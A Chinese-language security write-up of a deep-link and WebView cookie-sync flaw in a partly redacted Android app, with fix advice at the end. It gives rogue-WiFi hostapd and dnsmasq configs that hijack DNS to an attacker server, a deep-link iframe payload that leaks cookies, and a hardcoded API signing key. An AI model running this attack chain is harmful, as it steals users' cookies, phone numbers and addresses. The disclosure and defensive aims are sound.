记一次某APK的恶意WIFI攻击
字数 1425 2025-08-22 12:22:36
Android APK深度链接漏洞利用与恶意WiFi攻击分析
漏洞概述
本案例展示了一种通过恶意WiFi网络结合Android应用深度链接(DeepLink)漏洞的攻击方式,攻击者可以获取用户的敏感信息,包括cookie、手机号、收货地址等个人数据。
漏洞分析
1. 深度链接(DeepLink)漏洞
应用在AndroidManifest.xml中定义了以下深度链接:
<activity android:name="com.xxxx.client.android.modules.deeplink.ParseDeepLinkActivity"
android:noHistory="true"
android:theme="@style/Transparent"
android:windowSoftInputMode="0x10">
<intent-filter>
<action android:name="com.xxxx.client.android.activity.HomeActivity"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="scheme"/>
</intent-filter>
</activity>
关键问题:
- 深度链接接受任意scheme://格式的URL
- 未对传入的URL进行安全性验证
2. 深度链接处理流程
ParseDeepLinkActivity的onCreate方法处理流程:
- 获取Intent中的URI数据
- 从查询参数中获取并反序列化JSON,得到
SchemeBean结构 - 根据
channelName进行不同渠道的派发
@Override
public void onCreate(Bundle arg13) {
super.onCreate(arg13);
this.uri = this.getIntent().getData();
String v3 = this.uri.getQuery();
this.schemabean = g.SCHEME_GETURLJSON(v3);
// 根据channelName进行派发
}
3. H5渠道处理漏洞
当channelName为"h5"时,应用会通过路由跳转到HybridActivity:
case 60: { // h5
b v3_19 = e.a().a("path_activity_zdm_web_browser", "group_route_browser");
v3_19.putstring("url", bean.getLinkVal());
v3_19.putstring("sub_type", "h5");
v3_19.t();
}
路由注册代码显示最终跳转到HybridActivity:
public class o implements b {
@Override
public void loadInto(Map arg8) {
arg8.put("path_activity_zdm_web_browser",
a.a(e.e.a.c.a.a.a.ACTIVITY, HybridActivity.class,
"path_activity_zdm_web_browser", "group_route_browser", null, -1, 0x80000000));
}
}
4. Cookie同步漏洞
HybridActivity会同步cookie到WebView,但存在以下问题:
public static void syncCookie(String url, boolean arg9) {
if(!TextUtils.isEmpty(url) && ((arg9) || (url.contains(".xxxx.com")))) {
CookieManager v9 = CookieManager.getInstance();
// 未验证URL是否为HTTPS,允许HTTP协议
// 为.xxxx.com和.yying.com设置cookie
v9.setCookie(".xxxx.com", "sess=;");
v9.setCookie(".xxxx.com", "ab_test=;");
// 同步各种cookie值
}
}
关键漏洞点:
- 未验证URL协议(允许HTTP)
- 自动为子域名设置cookie
- 未验证域名所有权
攻击实施
1. 恶意WiFi搭建
攻击工具:
- Kali Linux
- hostapd (创建热点)
- dnsmasq (DNS服务器)
- nginx (Web服务器)
- USB无线网卡(如TP-Link WN722N)
配置步骤:
-
创建热点:设置SSID为"SZ Airport Free"等诱人名称
# hostapd.conf interface=wlan0 driver=nl80211 ssid=SZ Airport Free hw_mode=g channel=6 -
配置DNS劫持:
# dnsmasq.conf interface=wlan0 dhcp-range=192.168.1.100,192.168.1.200,12h dhcp-option=3,192.168.1.1 dhcp-option=6,192.168.1.1 server=8.8.8.8 address=/a.xxxx.com/攻击者VPS_IP address=/connectivitycheck.platform.hicloud.com/192.168.1.1 -
设置Captive Portal:
- 劫持华为网络检测域名
- 返回302重定向并在页面中插入拉起APP的代码
2. 攻击Payload
构造恶意深度链接URL:
{
"channelName": "h5",
"linkVal": "http://a.xxxx.com/jsloop.html"
}
URL编码后:
scheme://test?%7B%22channelName%22%3A%22h5%22,%22linkVal%22%3A%22http%3A%2F%2Fa.xxxx.com%2Fjsloop.html%22%7D
HTML触发代码:
<iframe src="scheme://test?%7B%22channelName%22%3A%22h5%22,%22linkVal%22%3A%22http%3A%2F%2Fa.xxxx.com%2Fjsloop.html%22%7D">
3. 攻击流程
- 用户连接恶意WiFi
- 设备自动进行网络检测,访问被劫持的域名
- 返回的页面中包含拉起APP的恶意深度链接
- APP解析深度链接并加载指定的HTTP URL
- WebView自动同步cookie到攻击者控制的域名
- 攻击者从服务器日志中获取用户cookie
4. 绕过API签名机制
应用使用以下方式生成API签名:
private String a(Map arg6, String arg7) {
StringBuilder v1 = new StringBuilder();
// 排序所有参数
ArrayList v2 = new ArrayList(arg6.keySet());
Collections.sort(v2);
// 拼接参数
for(String key : v2) {
v1.append(key).append("=").append(arg6.get(key));
}
v1.append("&key=").append(ZDMKeyUtil.a().b());
return md5(v1.toString()).toUpperCase();
}
签名密钥通过JNI获取,逆向lib_zdm_key.so发现硬编码密钥:
apr1$AwP!wRRT$gJ/q.X24poeBInlUJC
利用此密钥可以构造合法的API请求。
攻击结果
成功获取以下用户信息:
- 手机号(如13288886666)
- 收货地址
- 性别
- 生日
- 社区文章
- 评论记录
- 个人收藏
修复建议
-
深度链接安全:
- 限制深度链接只能打开HTTPS URL
- 对传入的URL进行严格验证和白名单过滤
-
Cookie同步安全:
- 仅允许为HTTPS域名设置cookie
- 验证域名所有权
- 避免为子域名自动设置cookie
-
API签名安全:
- 不要硬编码签名密钥
- 实现动态密钥协商机制
- 增加时间戳防重放
-
网络通信安全:
- 强制使用HTTPS
- 实现证书绑定(Certificate Pinning)
-
WebView安全:
- 启用严格的安全策略
- 限制可加载的内容来源
防御措施
对于用户:
- 避免连接不可信的公共WiFi
- 关闭自动连接WiFi功能
- 定期清理应用数据
对于开发者:
- 实现完整的深度链接验证机制
- 加强WebView的安全配置
- 定期进行安全审计和渗透测试